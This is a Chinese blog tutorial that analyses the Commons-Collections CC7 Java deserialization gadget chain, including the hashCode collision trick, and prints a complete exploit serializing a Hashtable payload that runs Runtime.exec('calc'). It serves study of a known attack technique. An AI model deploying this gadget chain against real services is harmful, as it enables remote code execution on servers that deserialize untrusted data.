Featured image of post java反序列化之Commons-Collections-CC7链

java反序列化之Commons-Collections-CC7链

java反序列化链子之cc7链

正向分析

CC7 的链子也是和 CC5 类似,后半条链子也是 LazyMap.get() 的这条链子。

看链子写exp

先复制后半条链

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
Transformer[] transformers = {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);
//        System.out.println(transformers[0]);
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put("value","456");
Map<Object,Object> decoratemap = LazyMap.decorate(hashmap,chainedTransformer);
decoratemap.get(Runtime.class);

Hashtable.readObject调用了reconstitutionPut

reconstitutionPut触发AbstractMapDecorator.equals()

AbstractMapDecorator.equals()触发AbstractMap.equals()

然后就进入到LazyMap.get里,也就是cc5的后半段链子

  • 这里我把断点打在了 AbstractMap.equals() 的地方,结果发现居然没有执行到 .equals() 这个方法,去看一看 yso 的链子是怎么写的。

yso 这里的链子比我们多了一个 map,而且将两个 map 进行了比较,一看到这个就明白了。

  • 为什么要调用两次put()?

我们需要调用的 e.key.equal() 方法是在 for 循环里面的,需要进入到这 for 循环才能调用。

Hashtable reconstitutionPut() 方法是被遍历调用的,

第一次调用的时候,并不会走入到 reconstitutionPut() 方法 for 循环里面,因为 tab[index] 的内容是空的,在下面会对 tab[index] 进行赋值。

  • 为什么调用的两次put()其中map中key的值分别为yy和zZ?

第二次调用 reconstitutionPut() 进入到 for 循环的时候,此时 e 是从 tab 中取出的 lazyMap1 ,然后进入到判断中,要经过 (e.hash == hash) 判断为真才能走到我们想要的 e.key.equal() 方法中。这里判断要求取出来的 lazyMap1 对象的hash值要等都现在对象也就是 lazyMap2 的hash值,这里的hash值是通过 lazyMap 对象中的 key.hashCode() 得到的,也就是说 lazyMap1 的 hash 值就是 "yy".hashCode() ,lazyMap2 的 hash 值就是 "zZ".hashCode() ,而在 java 中有一个小 bug:

JAVA

plain 1 plain "yy".hashCode() == "zZ".hashCode()

yy zZ hashCode() 计算出来的值是一样的。正是这个小 bug 让这里能够利用,所以这里我们需要将 map 中 put() 的值设置为 yy zZ,才能走到我们想要的 e.key.equal() 方法中。

  • **为什么在调用完 **HashTable.put() 之后,还需要在 map2 中 remove() ****掉 yy?

这是因为 HashTable.put() 实际上也会调用到 equals() 方法:

当调用完 equals() 方法后,LazyMap2 的 key 中就会增加一个 yy 键:

这就不能满足 hash 碰撞了,构造序列化链的时候是满足的,但是构造完成之后就不满足了,那么经过对方服务器反序列化也不能满足 hash 碰撞了,也就不会执行系统命令了,所以就在构造完序列化链之后手动删除这多出来的一组键值对。

序列化的时候也会弹计算器,因为在put的时候也调用了equals从而进入链子,所以先给个无关的参数,再通过反射修改

完整exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Transformer[] transformers = {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap<Object,Object> hashmap1 = new HashMap<>();
HashMap<Object,Object> hashmap2 = new HashMap<>();
Map<Object,Object> decoratemap1 = LazyMap.decorate(hashmap1,chainedTransformer);
Map<Object,Object> decoratemap2 = LazyMap.decorate(hashmap2,chainedTransformer);
decoratemap1.put("yy",1);
decoratemap2.put("zZ",1);
Hashtable hashtable = new Hashtable();
hashtable.put(decoratemap1,1);
hashtable.put(decoratemap2,1);
decoratemap2.remove("yy");
Class c= ChainedTransformer.class;
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transformers);
serialize(hashtable);
unserialize("ser.bin");

流程图

1
2
3
4
5
6
7
8
9
Hashtable.readObject()
  Hashtable.reconstitutionPut()
    AbstractMapDecorator.equals()
      AbstractMap.equals()
        LazyMap.get()
          ChainedTransformer.transform()
            ConstantTransformer.transform()
              InvokerTransformer.transform()
        
最后更新于 Mar 03, 2025 07:35 UTC
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计